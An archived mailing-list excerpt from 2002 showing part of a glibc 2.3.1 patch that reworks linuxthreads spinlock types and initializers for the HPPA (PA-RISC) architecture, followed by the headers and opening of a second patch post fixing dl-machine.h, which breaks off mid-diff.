   __pthread_handles[0].h_descr = self;
 #else
   /* First of all init __pthread_handles[0] and [1].  */
-# if __LT_SPINLOCK_INIT != 0
-  __pthread_handles[0].h_lock = __LOCK_INITIALIZER;
-  __pthread_handles[1].h_lock = __LOCK_INITIALIZER;
+# ifdef __LT_INITIALIZER_NOT_ZERO
+  __pthread_handles[0].h_lock = __LOCK_ALT_INITIALIZER;
+  __pthread_handles[1].h_lock = __LOCK_ALT_INITIALIZER;
 # endif
   __pthread_handles[0].h_descr = &__pthread_initial_thread;
   __pthread_handles[1].h_descr = &__pthread_manager_thread;
@@ -572,7 +572,7 @@
 # endif
   tcb->p_start_args = (struct pthread_start_args) PTHREAD_START_ARGS_INITIALIZER(__pthread_manager);
   tcb->p_nr = 1;
-# if __LT_SPINLOCK_INIT != 0
+# ifdef __LT_INITIALIZER_NOT_ZERO 
   self->p_resume_count = (struct pthread_atomic) __ATOMIC_INITIALIZER;
 # endif
   tcb->p_alloca_cutoff = PTHREAD_STACK_MIN / 4;
diff -urN glibc-2.3.1.orig/linuxthreads/spinlock.c glibc-2.3.1/linuxthreads/spinlock.c
--- glibc-2.3.1.orig/linuxthreads/spinlock.c	2002-08-29 06:32:19.000000000 -0400
+++ glibc-2.3.1/linuxthreads/spinlock.c	2002-11-09 14:51:45.000000000 -0500
@@ -24,9 +24,9 @@
 #include "spinlock.h"
 #include "restart.h"
 
-static void __pthread_acquire(int * spinlock);
+static void __pthread_acquire(__atomic_lock_t * spinlock);
 
-static inline void __pthread_release(int * spinlock)
+static inline void __pthread_release(__atomic_lock_t * spinlock)
 {
   WRITE_MEMORY_BARRIER();
   *spinlock = __LT_SPINLOCK_INIT;
@@ -269,11 +269,11 @@
 struct wait_node {
   struct wait_node *next;	/* Next node in null terminated linked list */
   pthread_descr thr;		/* The thread waiting with this node */
-  int abandoned;		/* Atomic flag */
+  __atomic_lock_t abandoned;	/* Atomic flag */
 };
 
 static long wait_node_free_list;
-static int wait_node_free_list_spinlock;
+__pthread_lock_define_initialized(static, wait_node_free_list_spinlock);
 
 /* Allocate a new node from the head of the free list using an atomic
    operation, or else using malloc if that list is empty.  A fundamental
@@ -376,7 +376,7 @@
       if (self == NULL)
 	self = thread_self();
 
-      wait_node.abandoned = 0;
+      wait_node.abandoned = __LT_SPINLOCK_INIT;
       wait_node.next = (struct wait_node *) lock->__status;
       wait_node.thr = self;
       lock->__status = (long) &wait_node;
@@ -402,7 +402,7 @@
       wait_node.thr = self;
       newstatus = (long) &wait_node;
     }
-    wait_node.abandoned = 0;
+    wait_node.abandoned = __LT_SPINLOCK_INIT;
     wait_node.next = (struct wait_node *) oldstatus;
     /* Make sure the store in wait_node.next completes before performing
        the compare-and-swap */
@@ -451,7 +451,7 @@
       if (self == NULL)
 	self = thread_self();
 
-      p_wait_node->abandoned = 0;
+      p_wait_node->abandoned = __LT_SPINLOCK_INIT;
       p_wait_node->next = (struct wait_node *) lock->__status;
       p_wait_node->thr = self;
       lock->__status = (long) p_wait_node;
@@ -474,7 +474,7 @@
       p_wait_node->thr = self;
       newstatus = (long) p_wait_node;
     }
-    p_wait_node->abandoned = 0;
+    p_wait_node->abandoned = __LT_SPINLOCK_INIT;
     p_wait_node->next = (struct wait_node *) oldstatus;
     /* Make sure the store in wait_node.next completes before performing
        the compare-and-swap */
@@ -574,7 +574,7 @@
     while (p_node != (struct wait_node *) 1) {
       int prio;
 
-      if (p_node->abandoned) {
+      if (lock_held(&p_node->abandoned)) {
 	/* Remove abandoned node. */
 #if defined TEST_FOR_COMPARE_AND_SWAP
 	if (!__pthread_has_cas)
@@ -605,7 +605,7 @@
 	p_max_prio = p_node;
       }
 
-      /* This canno6 jump backward in the list, so no further read
+      /* This cannot jump backward in the list, so no further read
          barrier is needed. */
       pp_node = &p_node->next;
       p_node = *pp_node;
@@ -662,7 +662,7 @@
 #if !defined HAS_COMPARE_AND_SWAP || defined TEST_FOR_COMPARE_AND_SWAP
 
 int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                               int * spinlock)
+                               __atomic_lock_t * spinlock)
 {
   int res;
 
@@ -699,7 +699,7 @@
    - When nanosleep() returns, we try again, doing MAX_SPIN_COUNT
      sched_yield(), then sleeping again if needed. */
 
-static void __pthread_acquire(int * spinlock)
+static void __pthread_acquire(__atomic_lock_t * spinlock)	
 {
   int cnt = 0;
   struct timespec tm;
diff -urN glibc-2.3.1.orig/linuxthreads/spinlock.h glibc-2.3.1/linuxthreads/spinlock.h
--- glibc-2.3.1.orig/linuxthreads/spinlock.h	2001-05-24 19:36:35.000000000 -0400
+++ glibc-2.3.1/linuxthreads/spinlock.h	2002-11-10 13:33:43.000000000 -0500
@@ -33,14 +33,28 @@
 #endif
 #endif
 
+/* Define lock_held for all arches that don't need a modified copy. */
+#ifndef __LT_INITIALIZER_NOT_ZERO
+# define lock_held(p) *(p)
+#endif
+
+/* Initliazers for possibly complex structures */
+#ifdef __LT_INITIALIZER_NOT_ZERO
+# define __pthread_lock_define_initialized(CLASS,NAME) \
+	CLASS __atomic_lock_t NAME = __LT_SPINLOCK_ALT_INIT
+#else
+# define __pthread_lock_define_initialized(CLASS,NAME) \
+	CLASS __atomic_lock_t NAME
+#endif
+
 #if defined(TEST_FOR_COMPARE_AND_SWAP)
 
 extern int __pthread_has_cas;
 extern int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                                      int * spinlock);
+                                      __atomic_lock_t * spinlock);
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   if (__builtin_expect (__pthread_has_cas, 1))
     return __compare_and_swap(ptr, oldval, newval);
@@ -58,7 +72,7 @@
 
 static inline int
 compare_and_swap_with_release_semantics (long * ptr, long oldval,
-					 long newval, int * spinlock)
+					 long newval, __atomic_lock_t * spinlock)
 {
   return __compare_and_swap_with_release_semantics (ptr, oldval,
 						    newval);
@@ -67,7 +81,7 @@
 #endif
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   return __compare_and_swap(ptr, oldval, newval);
 }
@@ -75,10 +89,10 @@
 #else
 
 extern int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                                      int * spinlock);
+                                      __atomic_lock_t * spinlock);
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   return __pthread_compare_and_swap(ptr, oldval, newval, spinlock);
 }
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/hppa/pspinlock.c glibc-2.3.1/linuxthreads/sysdeps/hppa/pspinlock.c
--- glibc-2.3.1.orig/linuxthreads/sysdeps/hppa/pspinlock.c	2002-08-26 18:39:51.000000000 -0400
+++ glibc-2.3.1/linuxthreads/sysdeps/hppa/pspinlock.c	2002-11-03 16:57:02.000000000 -0500
@@ -21,18 +21,20 @@
 #include <pthread.h>
 #include "internals.h"
 
+/* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
+#define __ldcw(a) ({ \
+	unsigned __ret; \
+	__asm__ __volatile__("ldcw 0(%1),%0" : "=r" (__ret) : "r" (a)); \
+	__ret; \
+})
+
 int
 __pthread_spin_lock (pthread_spinlock_t *lock)
 {
-  unsigned int val;
-
-  do
-    asm volatile ("ldcw %1,%0"
-		  : "=r" (val), "=m" (*lock)
-		  : "m" (*lock));
-  while (!val);
+	while (__ldcw (*lock) == 0)
+		while (*lock == 0) ;
 
-  return 0;
+	return 0;
 }
 weak_alias (__pthread_spin_lock, pthread_spin_lock)
 
@@ -40,11 +42,7 @@
 int
 __pthread_spin_trylock (pthread_spinlock_t *lock)
 {
-  unsigned int val;
-
-  asm volatile ("ldcw %1,%0"
-		: "=r" (val), "=m" (*lock)
-		: "m" (*lock));
+  unsigned int val = __ldcw(*lock);
 
   return val ? 0 : EBUSY;
 }
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/hppa/pt-machine.h glibc-2.3.1/linuxthreads/sysdeps/hppa/pt-machine.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/hppa/pt-machine.h	2002-08-26 18:39:51.000000000 -0400
+++ glibc-2.3.1/linuxthreads/sysdeps/hppa/pt-machine.h	2002-11-11 13:45:29.000000000 -0500
@@ -22,13 +22,13 @@
 #ifndef _PT_MACHINE_H
 #define _PT_MACHINE_H   1
 
+#include <sys/types.h>
 #include <bits/initspin.h>
 
 #ifndef PT_EI
 # define PT_EI extern inline
 #endif
 
-extern long int testandset (int *spinlock);
 extern int __compare_and_swap (long int *p, long int oldval, long int newval);
 
 /* Get some notion of the current stack.  Need not be exactly the top
@@ -36,16 +36,39 @@
 #define CURRENT_STACK_FRAME  stack_pointer
 register char * stack_pointer __asm__ ("%r30");
 
+/* Get/Set thread-specific pointer.  We have to call into the kernel to
+ * modify it, but we can read it in user mode.  */
+
+#define THREAD_SELF __get_cr27()
+
+static inline struct _pthread_descr_struct * __get_cr27(void)
+{
+	long cr27;
+	asm("mfctl %%cr27, %0" : "=r" (cr27) : );
+	return (struct _pthread_descr_struct *) cr27;
+}
+
+#define INIT_THREAD_SELF(descr, nr) __set_cr27(descr)
+
+static inline void __set_cr27(struct _pthread_descr_struct * cr27)
+{
+	asm(
+		"ble	0xe0(%%sr2, %%r0)\n\t"
+		"copy	%0, %%r26"
+	 : : "r" (cr27) : "r26" );
+}
+
+/* We want the OS to assign stack addresses.  */
+#define FLOATING_STACKS	1
+#define ARCH_STACK_MAX_SIZE	8*1024*1024
 
 /* The hppa only has one atomic read and modify memory operation,
    load and clear, so hppa spinlocks must use zero to signify that
    someone is holding the lock.  */
 
-#define xstr(s) str(s)
-#define str(s) #s
 /* Spinlock implementation; required.  */
-PT_EI long int
-testandset (int *spinlock)
+PT_EI int
+__load_and_clear(__atomic_lock_t *spinlock)
 {
   int ret;
 
@@ -54,9 +77,16 @@
        : "=r"(ret), "=m"(*spinlock)
        : "r"(spinlock));
 
-  return ret == 0;
+  return ret;
+}
+
+/* Emulate testandset */
+PT_EI long int
+testandset(__atomic_lock_t *spinlock)
+{
+	return (__load_and_clear(spinlock) == 0);
 }
-#undef str
-#undef xstr
 
+#define lock_held(spinlock) ((spinlock)->lock==0)
+		
 #endif /* pt-machine.h */
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/libc-lock.h glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/libc-lock.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/libc-lock.h	2002-10-11 06:53:17.000000000 -0400
+++ glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/libc-lock.h	2002-11-06 21:44:40.000000000 -0500
@@ -64,12 +64,12 @@
    initialized locks must be set to one due to the lack of normal
    atomic operations.) */
 
-#if __LT_SPINLOCK_INIT == 0
+#ifdef __LT_INITIALIZER_NOT_ZERO
 #  define __libc_lock_define_initialized(CLASS,NAME) \
-  CLASS __libc_lock_t NAME;
+  CLASS __libc_lock_t NAME = PTHREAD_MUTEX_INITIALIZER;
 #else
 #  define __libc_lock_define_initialized(CLASS,NAME) \
-  CLASS __libc_lock_t NAME = PTHREAD_MUTEX_INITIALIZER;
+  CLASS __libc_lock_t NAME;
 #endif
 
 #define __libc_rwlock_define_initialized(CLASS,NAME) \
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h	2001-01-27 01:26:13.000000000 -0500
+++ glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h	2002-11-03 16:57:02.000000000 -0500
@@ -22,12 +22,14 @@
 #define __need_schedparam
 #include <bits/sched.h>
 
+typedef int __atomic_lock_t;
+
 /* Fast locks (not abstract because mutexes and conditions aren't abstract). */
 struct _pthread_fastlock
 {
-  long int __status;   /* "Free" or "taken" or head of waiting list */
-  int __spinlock;      /* Used by compare_and_swap emulation. Also,
-			  adaptive SMP lock stores spin count here. */
+  long int __status;		/* "Free" or "taken" or head of waiting list */
+  __atomic_lock_t __spinlock;	/* Used by compare_and_swap emulation. Also,
+				   adaptive SMP lock stores spin count here. */
 };
 
 #ifndef _PTHREAD_DESCR_DEFINED
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h	2002-08-26 18:39:55.000000000 -0400
+++ glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h	2002-11-09 12:47:16.000000000 -0500
@@ -19,9 +19,21 @@
 
 /* Initial value of a spinlock.  PA-RISC only implements atomic load
    and clear so this must be non-zero. */
-#define __LT_SPINLOCK_INIT 1
+#define __LT_SPINLOCK_INIT ((__atomic_lock_t){ 1 })
+
+/* Initillize global spinlocks without cast, generally macro wrapped */
+#define __LT_SPINLOCK_ALT_INIT { 1 }
+
+/* Macros for lock initializers, not using the above definition.
+   The above definition is not used in the case that static initializers
+   use this value. */
+#define __LOCK_INITIALIZER { { 1 }, 0 }
+#define __ATOMIC_INITIALIZER { 0, { 1 } }
+
+/* Used to initialize _pthread_fastlock's in non-static case */
+#define __LOCK_ALT_INITIALIZER ((struct _pthread_fastlock){ __LT_SPINLOCK_INIT, 0 })
+
+/* Tell the rest of the code that the initializer is non-zero without
+   explaining it's internal structure */
+#define __LT_INITIALIZER_NOT_ZERO
 
-/* Macros for lock initializers, using the above definition. */
-#define __LOCK_INITIALIZER { 0, __LT_SPINLOCK_INIT }
-#define __ALT_LOCK_INITIALIZER { 0, __LT_SPINLOCK_INIT }
-#define __ATOMIC_INITIALIZER { 0, __LT_SPINLOCK_INIT }
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h	1969-12-31 19:00:00.000000000 -0500
+++ glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h	2002-11-03 16:57:02.000000000 -0500
@@ -0,0 +1,146 @@
+/* Linuxthreads - a simple clone()-based implementation of Posix        */
+/* threads for Linux.                                                   */
+/* Copyright (C) 1996 Xavier Leroy (Xavier.Leroy@inria.fr)              */
+/*                                                                      */
+/* This program is free software; you can redistribute it and/or        */
+/* modify it under the terms of the GNU Library General Public License  */
+/* as published by the Free Software Foundation; either version 2       */
+/* of the License, or (at your option) any later version.               */
+/*                                                                      */
+/* This program is distributed in the hope that it will be useful,      */
+/* but WITHOUT ANY WARRANTY; without even the implied warranty of       */
+/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the        */
+/* GNU Library General Public License for more details.                 */
+
+#if !defined _BITS_TYPES_H && !defined _PTHREAD_H
+# error "Never include <bits/pthreadtypes.h> directly; use <sys/types.h> instead."
+#endif
+
+#ifndef _BITS_PTHREADTYPES_H
+#define _BITS_PTHREADTYPES_H	1
+
+#define __need_schedparam
+#include <bits/sched.h>
+
+typedef struct {
+	int lock;
+} __attribute__((aligned (16))) __atomic_lock_t;
+
+/* Fast locks (not abstract because mutexes and conditions aren't abstract). */
+struct _pthread_fastlock
+{
+  __atomic_lock_t __spinlock;  /* Used by compare_and_swap emulation. Also,
+				   adaptive SMP lock stores spin count here. */
+  long int __status;   /* "Free" or "taken" or head of waiting list */
+};
+
+#ifndef _PTHREAD_DESCR_DEFINED
+/* Thread descriptors */
+typedef struct _pthread_descr_struct *_pthread_descr;
+# define _PTHREAD_DESCR_DEFINED
+#endif
+
+
+/* Attributes for threads.  */
+typedef struct __pthread_attr_s
+{
+  int __detachstate;
+  int __schedpolicy;
+  struct __sched_param __schedparam;
+  int __inheritsched;
+  int __scope;
+  size_t __guardsize;
+  int __stackaddr_set;
+  void *__stackaddr;
+  size_t __stacksize;
+} pthread_attr_t;
+
+
+/* Conditions (not abstract because of PTHREAD_COND_INITIALIZER */
+typedef struct
+{
+  struct _pthread_fastlock __c_lock; /* Protect against concurrent access */
+  _pthread_descr __c_waiting;        /* Threads waiting on this condition */
+} pthread_cond_t;
+
+
+/* Attribute for conditionally variables.  */
+typedef struct
+{
+  int __dummy;
+} pthread_condattr_t;
+
+/* Keys for thread-specific data */
+typedef unsigned int pthread_key_t;
+
+
+/* Mutexes (not abstract because of PTHREAD_MUTEX_INITIALIZER).  */
+/* (The layout is unnatural to maintain binary compatibility
+    with earlier releases of LinuxThreads.) */
+typedef struct
+{
+  int __m_reserved;               /* Reserved for future use */
+  int __m_count;                  /* Depth of recursive locking */
+  _pthread_descr __m_owner;       /* Owner thread (if recursive or errcheck) */
+  int __m_kind;                   /* Mutex kind: fast, recursive or errcheck */
+  struct _pthread_fastlock __m_lock; /* Underlying fast lock */
+} pthread_mutex_t;
+
+
+/* Attribute for mutex.  */
+typedef struct
+{
+  int __mutexkind;
+} pthread_mutexattr_t;
+
+
+/* Once-only execution */
+typedef int pthread_once_t;
+
+
+#ifdef __USE_UNIX98
+/* Read-write locks.  */
+typedef struct _pthread_rwlock_t
+{
+  struct _pthread_fastlock __rw_lock; /* Lock to guarantee mutual exclusion */
+  int __rw_readers;                   /* Number of readers */
+  _pthread_descr __rw_writer;         /* Identity of writer, or NULL if none */
+  _pthread_descr __rw_read_waiting;   /* Threads waiting for reading */
+  _pthread_descr __rw_write_waiting;  /* Threads waiting for writing */
+  int __rw_kind;                      /* Reader/Writer preference selection */
+  int __rw_pshared;                   /* Shared between processes or not */
+} pthread_rwlock_t;
+
+
+/* Attribute for read-write locks.  */
+typedef struct
+{
+  int __lockkind;
+  int __pshared;
+} pthread_rwlockattr_t;
+#endif
+
+#ifdef __USE_XOPEN2K
+/* POSIX spinlock data type.  */
+typedef volatile int pthread_spinlock_t __attribute__((aligned (16)));
+
+/* POSIX barrier. */
+typedef struct {
+  struct _pthread_fastlock __ba_lock; /* Lock to guarantee mutual exclusion */
+  int __ba_required;                  /* Threads needed for completion */
+  int __ba_present;                   /* Threads waiting */
+  _pthread_descr __ba_waiting;        /* Queue of waiting threads */
+} pthread_barrier_t;
+
+/* barrier attribute */
+typedef struct {
+  int __pshared;
+} pthread_barrierattr_t;
+
+#endif
+
+
+/* Thread identifiers */
+typedef unsigned long int pthread_t;
+
+#endif	/* bits/pthreadtypes.h */
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c
--- glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c	2002-08-26 18:39:29.000000000 -0400
+++ glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c	2002-11-11 13:36:31.000000000 -0500
@@ -41,70 +41,70 @@
    and epilogues.  Therefore we write these in assembly to make sure
    they do the right thing.  */
 
-__asm__ ("
-
-#include \"defs.h\"
-
-/*@HEADER_ENDS*/
-
-/*@_init_PROLOG_BEGINS*/
-	.section .init
-	.align 4
-	.globl _init
-	.type _init,@function
-_init:
-	stw	%rp,-20(%sp)
-	stwm	%r4,64(%sp)
-	stw	%r19,-32(%sp)
-	bl	__pthread_initialize_minimal,%rp
-	copy	%r19,%r4	/* delay slot */
-	copy	%r4,%r19
-/*@_init_PROLOG_ENDS*/
-
-/*@_init_EPILOG_BEGINS*/
-/* Here is the tail end of _init.  */
-	.section .init
-	ldw	-84(%sp),%rp
-	copy	%r4,%r19
-	bv	%r0(%rp)
-_end_init:
-	ldwm	-64(%sp),%r4
-
-/* Our very own unwind info, because the assembler can't handle
-   functions split into two or more pieces.  */
-	.section .PARISC.unwind,\"a\",@progbits
-	.extern _init
-	.word	_init, _end_init
-	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08
-
-/*@_init_EPILOG_ENDS*/
-
-/*@_fini_PROLOG_BEGINS*/
-	.section .fini
-	.align 4
-	.globl _fini
-	.type _fini,@function
-_fini:
-	stw	%rp,-20(%sp)
-	stwm	%r4,64(%sp)
-	stw	%r19,-32(%sp)
-	copy	%r19,%r4
-/*@_fini_PROLOG_ENDS*/
-
-/*@_fini_EPILOG_BEGINS*/
-	.section .fini
-	ldw	-84(%sp),%rp
-	copy	%r4,%r19
-	bv	%r0(%rp)
-_end_fini:
-	ldwm	-64(%sp),%r4
-
-	.section .PARISC.unwind,\"a\",@progbits
-	.extern _fini
-	.word	_fini, _end_fini
-	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08
-
-/*@_fini_EPILOG_ENDS*/
-
-/*@TRAILER_BEGINS*/
+__asm__ ("								\n\
+									\n\
+#include \"defs.h\"							\n\
+									\n\
+/*@HEADER_ENDS*/							\n\
+									\n\
+/*@_init_PROLOG_BEGINS*/						\n\
+	.section .init							\n\
+	.align 4							\n\
+	.globl _init							\n\
+	.type _init,@function						\n\
+_init:									\n\
+	stw	%rp,-20(%sp)						\n\
+	stwm	%r4,64(%sp)						\n\
+	stw	%r19,-32(%sp)						\n\
+	bl	__pthread_initialize_minimal,%rp			\n\
+	copy	%r19,%r4	/* delay slot */			\n\
+	copy	%r4,%r19						\n\
+/*@_init_PROLOG_ENDS*/							\n\
+									\n\
+/*@_init_EPILOG_BEGINS*/						\n\
+/* Here is the tail end of _init.  */					\n\
+	.section .init							\n\
+	ldw	-84(%sp),%rp						\n\
+	copy	%r4,%r19						\n\
+	bv	%r0(%rp)						\n\
+_end_init:								\n\
+	ldwm	-64(%sp),%r4						\n\
+									\n\
+/* Our very own unwind info, because the assembler can't handle		\n\
+   functions split into two or more pieces.  */				\n\
+	.section .PARISC.unwind,\"a\",@progbits				\n\
+	.extern _init							\n\
+	.word	_init, _end_init					\n\
+	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08		\n\
+									\n\
+/*@_init_EPILOG_ENDS*/							\n\
+									\n\
+/*@_fini_PROLOG_BEGINS*/						\n\
+	.section .fini							\n\
+	.align 4							\n\
+	.globl _fini							\n\
+	.type _fini,@function						\n\
+_fini:									\n\
+	stw	%rp,-20(%sp)						\n\
+	stwm	%r4,64(%sp)						\n\
+	stw	%r19,-32(%sp)						\n\
+	copy	%r19,%r4						\n\
+/*@_fini_PROLOG_ENDS*/							\n\
+									\n\
+/*@_fini_EPILOG_BEGINS*/						\n\
+	.section .fini							\n\
+	ldw	-84(%sp),%rp						\n\
+	copy	%r4,%r19						\n\
+	bv	%r0(%rp)						\n\
+_end_fini:								\n\
+	ldwm	-64(%sp),%r4						\n\
+									\n\
+	.section .PARISC.unwind,\"a\",@progbits				\n\
+	.extern _fini							\n\
+	.word	_fini, _end_fini					\n\
+	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08		\n\
+									\n\
+/*@_fini_EPILOG_ENDS*/							\n\
+									\n\
+/*@TRAILER_BEGINS*/							\n\
 ");
diff -urN glibc-2.3.1.orig/sysdeps/hppa/dl-fptr.c glibc-2.3.1/sysdeps/hppa/dl-fptr.c
--- glibc-2.3.1.orig/sysdeps/hppa/dl-fptr.c	2002-01-31 20:31:51.000000000 -0500
+++ glibc-2.3.1/sysdeps/hppa/dl-fptr.c	2002-11-11 13:39:11.000000000 -0500
@@ -30,7 +30,7 @@
 # include <pt-machine.h>
 
 /* Remember, we use 0 to mean that a lock is taken on PA-RISC. */
-static int __hppa_fptr_lock = 1;
+static __atomic_lock_t __hppa_fptr_lock = __LT_SPINLOCK_ALT_INIT;
 #endif
 
 /* Because ld.so is now versioned, these functions can be in their own
@@ -127,7 +127,7 @@
 #ifdef _LIBC_REENTRANT
   /* Release the lock.  Again, remember, zero means the lock is taken!  */
   if (mem == NULL)
-    __hppa_fptr_lock = 1;
+    __hppa_fptr_lock = __LT_SPINLOCK_INIT;
 #endif
 
   /* Set bit 30 to indicate to $$dyncall that this is a PLABEL. */
@@ -180,7 +180,7 @@
 
 #ifdef _LIBC_REENTRANT
   /* Release the lock. */
-  __hppa_fptr_lock = 1;
+  __hppa_fptr_lock = __LT_SPINLOCK_INIT;
 #endif
 }
 
@@ -190,6 +190,8 @@
   Elf32_Addr addr = (Elf32_Addr) address;
   struct hppa_fptr *f;
 
+  address = (void *)((unsigned long)address &~ 3); /* Clear the bottom two bits.  See make_fptr. */
+  
 #ifdef _LIBC_REENTRANT
   /* Make sure we are alone.  */
   while (testandset (&__hppa_fptr_lock));
@@ -204,7 +206,7 @@
 
 #ifdef _LIBC_REENTRANT
   /* Release the lock.   */
-  __hppa_fptr_lock = 1;
+  __hppa_fptr_lock = __LT_SPINLOCK_INIT;
 #endif
 
   return addr;

--Y2illNFYgwJwqOHD--


From - Thu Nov 08 21:25:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Fixup dl-machine for HPPA
Date: Tue, 19 Nov 2002 01:06:42 -0500
Lines: 346
Approved: news@gmane.org
Message-ID: <20021119060642.GF12451__23024.9867112891$1416621947$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="l5oECiFRo5dp+2y7"
X-Trace: ger.gmane.org 1416621947 17377 80.91.229.3 (22 Nov 2014 02:05:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:47 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: libc-alpha@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 18 23:06:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 840EF4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Nov 2002 23:06:29 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18E1X0-00020w-00; Tue, 19 Nov 2002 01:06:42 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16862

--l5oECiFRo5dp+2y7
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


libc-alpha,

The following fixes dl-machine.h for hppa.

These fixes have been in debian-glibc for a long time
and have received heavy testing.

Cheers,
Carlos.

Round 2...

 sysdeps/hppa/dl-machine.h |  193 +++++++++++++++++++++++++++++------------------------------
 1 files changed, 97 insertions(+), 96 deletions(-)

--

2000-07-31  David Huggins-Daines  <dhd@debian.org>

	* sysdeps/hppa/dl-machine.h:
	Cleanup assembly, define VALID_ELF_*,
	(elf_machine_dynamic): Cleanup assembly.
	(elf_machine_load_address): Likewise.
	(elf_machine_runtime_setup): Fix relocations.
	(set_dp): Cleanup assembly.
	(elf_machine_rela): Likewise.


--l5oECiFRo5dp+2y7
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=01-glibc23-hppa-dl-machine

diff -urN libc/sysdeps/hppa/dl-machine.h libc/sysdeps/hppa/dl-machine.h
--- libc/sysdeps/hppa/dl-machine.h	Wed Nov 14 09:47:09 2001
+++ libc/sysdeps/hppa/dl-machine.h	Wed Nov 14 09:46:02 2001
@@ -28,8 +28,15 @@
 #include <link.h>
 #include <assert.h>
 
+# define VALID_ELF_OSABI(osabi)		((osabi == ELFOSABI_SYSV) || (osabi == ELFOSABI_LINUX))
+# define VALID_ELF_ABIVERSION(ver)	(ver == 0)
+# define VALID_ELF_HEADER(hdr,exp,size) \
+  memcmp (hdr,exp,size-2) == 0 \
+  && VALID_ELF_OSABI (hdr[EI_OSABI]) \
+  && VALID_ELF_ABIVERSION (hdr[EI_ABIVERSION])
+
 /* These must match the definition of the stub in bfd/elf32-hppa.c. */
-#define SIZEOF_PLT_STUB (4*4)
+#define SIZEOF_PLT_STUB (7*4)
 #define GOT_FROM_PLT_STUB (4*4)
 
 /* A PLABEL is a function descriptor.  Properly they consist of just
@@ -66,45 +73,41 @@
